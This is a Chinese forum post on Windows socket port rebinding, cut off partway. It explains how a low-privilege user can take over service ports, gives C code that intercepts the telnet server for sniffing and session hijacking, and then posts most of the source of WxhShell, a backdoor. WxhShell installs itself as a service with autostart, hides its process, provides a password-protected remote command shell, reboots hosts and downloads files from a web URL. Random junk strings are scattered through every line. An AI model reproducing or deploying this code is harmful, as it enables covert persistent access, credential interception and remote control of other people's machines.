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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e'0{?B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EmODBTu+  
hjIT_{mk  
  saddr.sin_family = AF_INET; i?fOK_d  
G8r``{C!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hm$=h>rY9[  
=,Dqqf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WAn~ +=Ax  
xZ4~Oo@@_'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z00+!Tnd  
P?t" jKp'  
  这意味着什么?意味着可以进行如下的攻击: qIY~dQ|  
=!`j7#:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h\nI!{A0  
NGOqy+Ty{f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \hhmVt@@  
]3g?hM6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EI:w aIr  
D3)zk@N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  );Z1a&K5k  
9A,^c;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c zm& ~n6$  
'B@e8S) y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7.Z@Wr?  
B<~ NS)w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^my].Qpt  
*cC_j*1@  
  #include qUxRM_7U  
  #include =:/BV=tv  
  #include !!Aj<*%  
  #include    `;)\u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6S+U&Ce\  
  int main() ]p;FZ4-T  
  { LxpuhvIO  
  WORD wVersionRequested; 7oq[38zB  
  DWORD ret;  >lBD<;T  
  WSADATA wsaData; (HSgEs1d  
  BOOL val; g_G6~-.9I  
  SOCKADDR_IN saddr; x-?{E  
  SOCKADDR_IN scaddr; :PtF+{N>  
  int err; ppFe-wY  
  SOCKET s;  jcI&w#re  
  SOCKET sc; YhY:~  
  int caddsize; ds&e|VSH;  
  HANDLE mt; /r-aPJX  
  DWORD tid;   `&-Mi[1  
  wVersionRequested = MAKEWORD( 2, 2 ); 8Goh4T H  
  err = WSAStartup( wVersionRequested, &wsaData ); Ay !G1;  
  if ( err != 0 ) { *Mw_0Y  
  printf("error!WSAStartup failed!\n"); CT1ja.\;  
  return -1; 2AtLyN'.  
  } %/YcL6o(  
  saddr.sin_family = AF_INET; Ur5FC r  
    +QE^\a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1.gG^$Jd  
+3&z N(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qA!]E^0*Ke  
  saddr.sin_port = htons(23); glDh([  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MW PvR|Q  
  { T}4/0yR2  
  printf("error!socket failed!\n"); )=-0M9e.{  
  return -1; kdn'6>\  
  } A0Zt8>w  
  val = TRUE; bzvh%RsW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E@P %v{)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %s&ChM?8F  
  { J]q%gcM  
  printf("error!setsockopt failed!\n"); 8,atX+tc  
  return -1; r" K':O6y  
  } lRv eHB&V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g7&9"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E=cwq"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;s~X  
 :<Fe  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =L C:SFzF  
  { 5* 0y7K/D  
  ret=GetLastError(); XEdzpkB  
  printf("error!bind failed!\n"); {U84 _Pi  
  return -1; U-:ieao@  
  } )x]3Zq  
  listen(s,2); F*.g;So  
  while(1) gl]E_%tH  
  { cetvQAGXY  
  caddsize = sizeof(scaddr); #^4,GLIM  
  //接受连接请求 Vur bW=~g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P) uDLFp]  
  if(sc!=INVALID_SOCKET) 8o/}}=m$  
  { 5r?m&28X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NuYkz"O]  
  if(mt==NULL) 1]}#)-  
  { Y2O"]phi@  
  printf("Thread Creat Failed!\n"); 8HZs>l  
  break; lhi_6&&[8  
  } fPR$kc h  
  } W$'R} L  
  CloseHandle(mt); nwN@DqO  
  } /"?HZ% W  
  closesocket(s); oX4q`rt  
  WSACleanup(); z.6$W^  
  return 0; Gdg)9  
  }   HXoX  
  DWORD WINAPI ClientThread(LPVOID lpParam) b]7GmRekl  
  { /RyR>G!  
  SOCKET ss = (SOCKET)lpParam; ?h0X,fl3  
  SOCKET sc; $-&BB(-{E&  
  unsigned char buf[4096]; rLU/W<F8  
  SOCKADDR_IN saddr; A"aV'~>  
  long num; Dk='+\  
  DWORD val; sO5?aB&  
  DWORD ret; J -ePE7i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o=RM-tR`v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T2D<UhP  
  saddr.sin_family = AF_INET; w ~ dk#=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .)+h H y  
  saddr.sin_port = htons(23); ZlHDi!T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0Hs|*:Y1D  
  { S=xA[%5  
  printf("error!socket failed!\n"); XUF\r]B,9  
  return -1; 3&x-}y~sg  
  } ex<O]kPFE  
  val = 100; suH&jE$x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nk[2nyeO>  
  { :d8W +|1u  
  ret = GetLastError(); cv(PP-'\  
  return -1; Q.Aw2  
  } k/03ZxC-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jt@SZI`  
  { #eN{!Niy&U  
  ret = GetLastError(); )9S>Z ZF  
  return -1; @ a4/ELx  
  } z`6fotL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L.T?}o  
  { I2 a6w<b  
  printf("error!socket connect failed!\n"); ?go:e#  
  closesocket(sc); c!hwmy;  
  closesocket(ss); O}[PJfvBHo  
  return -1; [I:KpAd/  
  } y}v+c%d  
  while(1) ~w</!s  
  { HK)cKzG[s!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {T'GQz+R"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %hN.ktZ/s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4 V1bLm  
  num = recv(ss,buf,4096,0); TrdZJ21#M  
  if(num>0) {u[V{XIUh  
  send(sc,buf,num,0); %Rh;=p`  
  else if(num==0) !vn1v)6  
  break; ^VT1vu %03  
  num = recv(sc,buf,4096,0); efG6v  
  if(num>0) "C?5f]T  
  send(ss,buf,num,0); AkU<g  
  else if(num==0) ?%O3Oi Xz  
  break; j$da8] !  
  } _al|'obomy  
  closesocket(ss); L'i-fM[#  
  closesocket(sc); pr,p=4m{\  
  return 0 ; )s9',4$eK<  
  } &ff&Y.q~  
WhBpv(q}.  
^2o dr \  
========================================================== H +bdsk  
idRD![!UI  
下边附上一个代码,,WXhSHELL <?0~1o\Ur  
j%V["?)  
========================================================== )c/Fasfg[P  
8wH.et25k  
#include "stdafx.h" NDO\B,7  
K1?Gmue#I  
#include <stdio.h> rC_*sx r^  
#include <string.h> <P%}|@  
#include <windows.h> '<iK*[NW  
#include <winsock2.h> q EUT90  
#include <winsvc.h> ._z 'g_c(  
#include <urlmon.h> QMo}W{D  
 qW_u  
#pragma comment (lib, "Ws2_32.lib") X~ Rl 6/,  
#pragma comment (lib, "urlmon.lib") S>q>K"j^!  
HftxS  
#define MAX_USER   100 // 最大客户端连接数 !5}l&7:(MN  
#define BUF_SOCK   200 // sock buffer JIO$=+p  
#define KEY_BUFF   255 // 输入 buffer |DF9cd^  
zHfP+(ah  
#define REBOOT     0   // 重启 r' BAT3  
#define SHUTDOWN   1   // 关机 R)Mt(gFZT_  
Xl |1YX1&m  
#define DEF_PORT   5000 // 监听端口 ~Z$bf>[(R7  
rSP_:}  
#define REG_LEN     16   // 注册表键长度 iP3Z  
#define SVC_LEN     80   // NT服务名长度 02AI%OOH  
:RxHw;!  
// 从dll定义API >cL{Ya}Rz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DZ ^1s~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s]27l3)B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fR-C0"c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W</n=D<,I  
t j Vh^  
// wxhshell配置信息 %ICglF R  
struct WSCFG { )<4_:  
  int ws_port;         // 监听端口 f!t69nd%L  
  char ws_passstr[REG_LEN]; // 口令 \ u+xa{b|  
  int ws_autoins;       // 安装标记, 1=yes 0=no /"qcl7F  
  char ws_regname[REG_LEN]; // 注册表键名 V_U'P>_I  
  char ws_svcname[REG_LEN]; // 服务名 M~6@20$oW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ! o, 5h|\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]r]k-GZ$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (y4#.vZh:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no smAC,-6 ]~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fvo<(c#Y#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &B{8uge1  
|`yZIY_  
}; +$z]w(lbT  
YJ7V`N p  
// default Wxhshell configuration !$XHQLqF2  
struct WSCFG wscfg={DEF_PORT,  ZC^C  
    "xuhuanlingzhe", }b["Jk\2  
    1, x4a:PuqmGG  
    "Wxhshell", cX2^wu  
    "Wxhshell", ":?T%v>  
            "WxhShell Service", \ SCy$,m  
    "Wrsky Windows CmdShell Service", `kN #4p  
    "Please Input Your Password: ", ~KIDv;HSb[  
  1, jkrx]`A{~  
  "http://www.wrsky.com/wxhshell.exe", {GqXP0'  
  "Wxhshell.exe" U Lmg$T&  
    }; U!q[e`B  
eQX`,9:5  
// 消息定义模块 iT )WR90  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @y~P&HUN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eTE2J~\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MXAEX2xmme  
char *msg_ws_ext="\n\rExit."; &w~Xa( uu  
char *msg_ws_end="\n\rQuit."; 0??Yr  
char *msg_ws_boot="\n\rReboot..."; [!*xO?yCJ  
char *msg_ws_poff="\n\rShutdown..."; EH9Hpo  
char *msg_ws_down="\n\rSave to "; ,qFA\cO*  
~0tdfK0c  
char *msg_ws_err="\n\rErr!"; yDd[e]zS`  
char *msg_ws_ok="\n\rOK!"; 8LM #WIm?  
jPu5nwvUV>  
char ExeFile[MAX_PATH]; =LH}YUmd  
int nUser = 0; h#f&|* Q5m  
HANDLE handles[MAX_USER]; 4B O %{  
int OsIsNt; @6xGJ,s  
+QqH}= M  
SERVICE_STATUS       serviceStatus; Zy]s`aa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @] .VQ<X|0  
Q2'eQ0W{ o  
// 函数声明 M StX*Zw  
int Install(void); 7|D|4!i2Y  
int Uninstall(void); L-'k7?%(  
int DownloadFile(char *sURL, SOCKET wsh); qJs[i>P[W  
int Boot(int flag); p%RUHN3G[  
void HideProc(void); oFg'wAO.  
int GetOsVer(void); }N3`gCy9eN  
int Wxhshell(SOCKET wsl); XdIah<F2  
void TalkWithClient(void *cs); JAb$M{t  
int CmdShell(SOCKET sock); mA{#]Yvf1  
int StartFromService(void); =&NOHT>  
int StartWxhshell(LPSTR lpCmdLine); a>Re^GT+z  
*=nO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2*[Un(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @5Qoi~o  
F,Fo}YQX  
// 数据结构和表定义 V2`;4dX*2  
SERVICE_TABLE_ENTRY DispatchTable[] = :k"rhI  
{ $AwZ2HY  
{wscfg.ws_svcname, NTServiceMain}, ILG?r9 x  
{NULL, NULL} m4**>!I  
}; O2#S: ~h  
:I/  
// 自我安装 W%8+t)  
int Install(void) _`aR_ %Gx  
{ L{PH0Jf  
  char svExeFile[MAX_PATH]; hLA;Bl  
  HKEY key; Ggd lVi 2  
  strcpy(svExeFile,ExeFile); 1Ii| {vR  
ph^4GBR   
// 如果是win9x系统,修改注册表设为自启动 IRB& j%LA  
if(!OsIsNt) { %-^}45](q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9/;{>RL=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cF.mb*$K  
  RegCloseKey(key); 1i,4".h?M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |zMqJ.qu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m "]!I~jd  
  RegCloseKey(key); ER<eX4oU  
  return 0; m`9^.>]P  
    } rt.[,m  
  } |!b9b(_j9  
} y&rY0bm  
else { u9>6|w+  
a!u3 HS-i  
// 如果是NT以上系统,安装为系统服务 [:pl-_.C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Y{PO&-?r  
if (schSCManager!=0) h6FgS9H  
{ zlMlMyG4  
  SC_HANDLE schService = CreateService u%aFb*  
  ( (HSw%e  
  schSCManager, ((9YG  
  wscfg.ws_svcname, 00qZw?%K  
  wscfg.ws_svcdisp, QZ0R:TY  
  SERVICE_ALL_ACCESS, w{P6i<J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 62NkU)u  
  SERVICE_AUTO_START, ;&`:|Hf*  
  SERVICE_ERROR_NORMAL, NEg>lIu<~  
  svExeFile, IDmsz  
  NULL, ^je528%H  
  NULL, R9E6uz.j  
  NULL, `t9.xB#Z  
  NULL, b6Xi  
  NULL nk>8SW^  
  ); q (1r<2  
  if (schService!=0) _=T]PSauI  
  { + o{*r#  
  CloseServiceHandle(schService); M\jB)@)  
  CloseServiceHandle(schSCManager); %(NN *o9"q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dk4D+*R  
  strcat(svExeFile,wscfg.ws_svcname); UFk!dK+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pg5&=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O 'Am RJ  
  RegCloseKey(key); w[{*9  
  return 0; p  .aE  
    } KE#$+,?  
  } QB9A-U <J  
  CloseServiceHandle(schSCManager); w%I8CU_}.  
} cS 4T\{B;  
} u!u5g.Q  
,N;v~D$Y  
return 1; h;}ODK(.  
} }(cY|  
.hgH9$\  
// 自我卸载 5])8qb/F  
int Uninstall(void) @dl<-  
{ mQnL<0_<f  
  HKEY key; PuU*vs3  
Ir>2sTrm  
if(!OsIsNt) { z^9E;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VX&WlG`wa  
  RegDeleteValue(key,wscfg.ws_regname); l"?]BC~  
  RegCloseKey(key); E6JV}`hSk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [nC4/V+-  
  RegDeleteValue(key,wscfg.ws_regname); $&Ac5Zo%}  
  RegCloseKey(key); +qZc} 7rJF  
  return 0; 1zR/HT  
  } ac3_L$X[  
} 2gH _$  
} AW62~*  
else { mMslWe  
?}v}U^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lnjL7x  
if (schSCManager!=0) `L;OY 4  
{ Bjtj{B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CJ:uYXJJ:z  
  if (schService!=0) /xF 9:r  
  { rF'<r~Lw  
  if(DeleteService(schService)!=0) { $oc9 |Q 7  
  CloseServiceHandle(schService); q:Wq8  
  CloseServiceHandle(schSCManager); Qv\bLR  
  return 0; :`;(p{  
  } !2wETs?  
  CloseServiceHandle(schService); gDMAc/V`l  
  } 6g8M7<og9R  
  CloseServiceHandle(schSCManager); ?&XzW+(X  
} E"ZEo9y@^  
} `fLfT'  
S>(z\`1qm  
return 1; -S7RRh'p  
} ` -yhl3si  
cJ2y)`  
// 从指定url下载文件 OoE9W  
int DownloadFile(char *sURL, SOCKET wsh) <TL])@da  
{ $>|?k$(x  
  HRESULT hr; (%Ng'~J\|  
char seps[]= "/"; {GAsFnZk  
char *token; 7 s7}?l9  
char *file; TdNsyr}JG  
char myURL[MAX_PATH]; aQxe)  
char myFILE[MAX_PATH]; 4Sqvhz  
q$3HvZP  
strcpy(myURL,sURL); kGruo5A  
  token=strtok(myURL,seps); X1O65DMr`g  
  while(token!=NULL) f>p; siR)  
  { Q})t<l+L  
    file=token; }Z^FEd"y  
  token=strtok(NULL,seps); Zb}`sk#  
  } _dJp 3D  
ys/`{:w8p  
GetCurrentDirectory(MAX_PATH,myFILE); gZ1N&/9;  
strcat(myFILE, "\\"); %bEGv:88s  
strcat(myFILE, file); i_|h{JK)  
  send(wsh,myFILE,strlen(myFILE),0); *m iONc  
send(wsh,"...",3,0); Pu1GCr(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,zc"udpKF  
  if(hr==S_OK) bJANZn|H  
return 0; PnI)n=(\  
else zI1(F67d`  
return 1; G,+xT}@wu  
+}&pVe\t  
} t;h+Cf4  
m=#aHF  
// 系统电源模块 ?`za-+<r<  
int Boot(int flag) o`oRG)QC  
{ 3D{82*&  
  HANDLE hToken; [kVpzpGr  
  TOKEN_PRIVILEGES tkp; b?sA EU;  
ZCj>MA  
  if(OsIsNt) { $_ST:h&C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "vv$%^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '\Qf,%%.  
    tkp.PrivilegeCount = 1; @ysJt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;|Y2r^c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 22l|!B%o  
if(flag==REBOOT) { 2=i+L z^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jn0t-":  
  return 0; ]kyle3#-~  
} pHq{S;R2G  
else { YhEiN. ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =c :lS&B  
  return 0; >l y&+3S  
} !a.3OpQ  
  } W ]a7&S  
  else { FRb&@(;  
if(flag==REBOOT) { y.L|rRe@P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wh#os,U$  
  return 0; ,| $|kO/  
} 40`9t Xn  
else { l=Vowx.$2f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nC-c8y  
  return 0; dY/|/eOt<K  
} %iHyt,0v2  
} [GcA.ABz  
A}az m>  
return 1; }Z~pfm_S  
} 8Sd?b5|G~  
z:0-aDe M  
// win9x进程隐藏模块 K * xM[vO  
void HideProc(void) B^E2UNRA  
{ 8A`p  
q g) Af  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6$xo# }8  
  if ( hKernel != NULL ) D4YT33$tC  
  { WM~J,`]J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }TXp<E"\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sDz)_;;%  
    FreeLibrary(hKernel); r4]hS`X~%  
  } mtiO7w"M\7  
' lQ  
return; 3j[w -Lfp  
} #n6FQ$l8m  
*y":@T  
// 获取操作系统版本 %[+a[/  
int GetOsVer(void) 4GmSG,]  
{ 4]|9!=\  
  OSVERSIONINFO winfo; ~ wJ3AqNC?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wj5qQ]WC  
  GetVersionEx(&winfo); 2 zmQp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6KBzlj0T+  
  return 1; N,'[:{GOY  
  else r7]?g~zb  
  return 0; mjkw&2  
} 3Vb=6-|  
LOyCx/n  
// 客户端句柄模块 r1^m#!=B  
int Wxhshell(SOCKET wsl) KoxGxHz^Y3  
{ l,^i5t'  
  SOCKET wsh; q.u[g0h;  
  struct sockaddr_in client; V PLCic,T  
  DWORD myID; b7>,-O  
[qjAq@@N#q  
  while(nUser<MAX_USER) B6Wq/fl/  
{ aHVdClD2o  
  int nSize=sizeof(client); 2Be?5+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JsWq._O{/  
  if(wsh==INVALID_SOCKET) return 1; W>t&N  
1DI"LIL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R9|2&pfm(M  
if(handles[nUser]==0) 3_R   
  closesocket(wsh); 3<~2"@J  
else QTrlQH&p  
  nUser++; 3& fIO  
  } ~t.WwxY+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /I`bh  
' Z(MV&  
  return 0; Npf7p  
} %Mb( c+7  
T?p`Y| gl  
// 关闭 socket &?5{z\;1"  
void CloseIt(SOCKET wsh) mV! @oNCK  
{ 9wDBC~.  
closesocket(wsh); u]>>B>KOJ7  
nUser--; :<WQ;q  
ExitThread(0); I!soV0V U]  
} :+?W  
yjM@/b  
// 客户端请求句柄 08d_DCR  
void TalkWithClient(void *cs) "`$'tk[  
{ 7/U<\(V!g  
s&QBFyKtJ  
  SOCKET wsh=(SOCKET)cs; 35N/v G0  
  char pwd[SVC_LEN];  7KSGG1ts  
  char cmd[KEY_BUFF]; n'&`9M['%d  
char chr[1]; W2W2WyPk  
int i,j; U_ ?elz\  
9qu24zz$P  
  while (nUser < MAX_USER) { /v;)H#;  
#ejw@bd  
if(wscfg.ws_passstr) { 4 HJZ^bq9|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +DbWMm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "o5gQTwb  
  //ZeroMemory(pwd,KEY_BUFF); 33,JUQ2u  
      i=0; 9,EaN{GM  
  while(i<SVC_LEN) { _w5~/PbWt  
nTlv'_Y(  
  // 设置超时 &T|&D[@  
  fd_set FdRead; u8k{N  
  struct timeval TimeOut; Jq+$_Uqd  
  FD_ZERO(&FdRead); l3Bxi1k[C  
  FD_SET(wsh,&FdRead); [K4+G]6  
  TimeOut.tv_sec=8; 0Z) ;.l^  
  TimeOut.tv_usec=0; x[O#(^q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :z0>H5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r~D~7MNl  
;MRC~F=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;~gd<KK  
  pwd=chr[0]; cf[u%{ 6Y  
  if(chr[0]==0xd || chr[0]==0xa) { $ DZQdhv  
  pwd=0; 1N$gE  
  break; ]Re~V{uh  
  } b]g&rwXYt  
  i++; t+4Y3*WeGF  
    } (HrkUkw  
N5rG.6K  
  // 如果是非法用户,关闭 socket i\Q"a B"r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c] >&6-;rf  
} N>nvt.`P  
|n6 Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `d|bH; w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z)Q^j>%  
kFIB lPV  
while(1) { ng&EGM  
?#EXG  
  ZeroMemory(cmd,KEY_BUFF); J"2ODB5"  
FG5c:Ep  
      // 自动支持客户端 telnet标准   HT,kx  
  j=0; q[|`&6B  
  while(j<KEY_BUFF) { 3Llj_lf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W6xjqNU  
  cmd[j]=chr[0]; #L IsL  
  if(chr[0]==0xa || chr[0]==0xd) { k'I_,Z<,  
  cmd[j]=0; /E4}d =5L  
  break; ,8"[ /@  
  } C}P \kDM  
  j++; ?'/5%f`  
    } ?.Yw%{?TG  
~j&:)a'^  
  // 下载文件 k-ex<el)#  
  if(strstr(cmd,"http://")) { 6[2?m*BsN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {|J2clL  
  if(DownloadFile(cmd,wsh)) } Ved  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(>-:l i0  
  else JTh =JHJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z vylL M  
  } U1HD~  
  else { C94UF7al  
hHl-;%#  
    switch(cmd[0]) { ExP25T  
  j]l}K*8(  
  // 帮助 hC, -9c  
  case '?': { nk3<]u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aCi^^}!  
    break; pn%|;  
  } s^?sJUj  
  // 安装 qD%&\ZT  
  case 'i': { )(!Z90@  
    if(Install()) %FWfiFV|<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (F '  
    else 8~Hs3\Hp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'kg]|"M  
    break; S}[:;p?F`  
    } (DMnwqr  
  // 卸载 hUhp2ibEs  
  case 'r': { j% USu+&  
    if(Uninstall()) 8(/f!~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-lh\9{'R  
    else OZ14-}Lr5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U>-#('  
    break; |Sv#f2`  
    } :+^$?[6]  
  // 显示 wxhshell 所在路径 `L*;58MA  
  case 'p': { !@Vp Bl  
    char svExeFile[MAX_PATH]; >Wit"p  
    strcpy(svExeFile,"\n\r"); {i}Q}OgYq  
      strcat(svExeFile,ExeFile); ftU5 A@(T  
        send(wsh,svExeFile,strlen(svExeFile),0); Hr*Pi3dSI  
    break; hGo|2@sc  
    } f uN XY-;  
  // 重启 34^Cfh  
  case 'b': { 9c % Tv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cA SHgm  
    if(Boot(REBOOT)) +M]8_kE=+l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S=amjcC  
    else { |j}F$*SE[  
    closesocket(wsh); ,Y8X"~{A  
    ExitThread(0); h5JwB<8  
    } r4ttEJ-jG  
    break; zomNjy*  
    } %e<dV\x?T  
  // 关机 u\geD  
  case 'd': { \ J:T]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *=9#tYn~  
